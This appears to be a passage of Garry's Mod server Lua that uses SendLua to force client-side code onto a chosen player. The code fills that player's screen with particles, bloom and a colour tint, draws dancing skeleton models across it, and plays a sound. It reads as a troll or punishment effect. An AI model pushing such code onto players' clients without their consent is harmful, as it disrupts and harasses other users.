  1104.  
  1105.         hook.Add( "Think", "wat", function()
  1106.             if CurTime() < time then
  1107.                 return
  1108.             end
  1109.  
  1110.             time = CurTime() +0.05
  1111.             for i = 1, 16 do
  1112.                 local part = emitter:Add(
  1113.                     "particles/balloon_bit",
  1114.                     LocalPlayer():GetPos() +Vector(
  1115.                         math.random( -256, 256 ),
  1116.                         math.random( -256, 256 ),
  1117.                         256
  1118.                     )
  1119.                 )
  1120.                
  1121.                 if part then
  1122.                     local Size = math.random( 4, 7 )
  1123.                    
  1124.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  1125.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  1126.                     part:SetDieTime( 4.5 )
  1127.                     part:SetGravity( Vector(40, 0, -250) )
  1128.                     part:SetLifeTime( 0 )
  1129.                     part:SetStartSize( Size /2 )
  1130.                     part:SetEndSize( Size )
  1131.                     part:SetCollide( true )
  1132.                 end
  1133.             end
  1134.         end )
  1135.     ]] )
  1136.  
  1137.     lol:SendLua( pPlayer, [[
  1138.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  1139.             local sinScaler = math.sin( CurTime() )
  1140.             DrawBloom(
  1141.                 0,
  1142.                 3,
  1143.                 sinScaler *math.Rand(1, 8),
  1144.                 sinScaler *math.Rand(1, 8),
  1145.                 6,
  1146.                 math.Rand(0.5, 2),
  1147.                 math.Rand(0, 0.3),
  1148.                 math.Rand(0, 0.3),
  1149.                 math.Rand(0.5, 1)
  1150.             )
  1151.  
  1152.             DrawColorModify{
  1153.                 ["$pp_colour_addr"] = 0,
  1154.                 ["$pp_colour_addg"] = 0,
  1155.                 ["$pp_colour_addb"] = 00,
  1156.                 ["$pp_colour_brightness" ] = 0,
  1157.                 ["$pp_colour_contrast" ] = 1,
  1158.                 ["$pp_colour_colour" ] = 1,
  1159.                 ["$pp_colour_mulr" ] = 0,
  1160.                 ["$pp_colour_mulg" ] = 0,
  1161.                 ["$pp_colour_mulb" ] = 1
  1162.             }
  1163.         end )
  1164.  
  1165.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  1166.         mdl:SetNoDraw( true )
  1167.         local posCache, time = {}, 0
  1168.  
  1169.         hook.Add( "HUDPaint", "dance", function()
  1170.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  1171.                 local idx = mdl:LookupSequence("taunt_dance")
  1172.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  1173.                 mdl.SeqStart = CurTime()
  1174.                 mdl:ResetSequence( idx )
  1175.             end
  1176.  
  1177.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  1178.  
  1179.            
  1180.             local w, h = 300, 300
  1181.             local ang = Angle( 0, 0, 0 )
  1182.  
  1183.             for i = 1, 32 do
  1184.                 if CurTime() > time then
  1185.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  1186.                 end
  1187.                 local x, y = posCache[i][1], posCache[i][2]
  1188.  
  1189.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  1190.                     cam.IgnoreZ( true )
  1191.                     render.SuppressEngineLighting( true )
  1192.                    
  1193.                     render.SetLightingOrigin( mdl:GetPos() )
  1194.                     render.ResetModelLighting( 1, 1, 1 )
  1195.                     render.SetColorModulation( 0, 0, 1 )
  1196.  
  1197.                     mdl:DrawModel()
  1198.                    
  1199.                     render.SuppressEngineLighting( false )
  1200.                     cam.IgnoreZ( false )
  1201.                 cam.End3D()
  1202.             end
  1203.  
  1204.             if CurTime() > time then
  1205.                 time = CurTime() +0.15
  1206.             end
  1207.         end )
  1208.  
  1209.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  1210.     ]] )
  1211. end )
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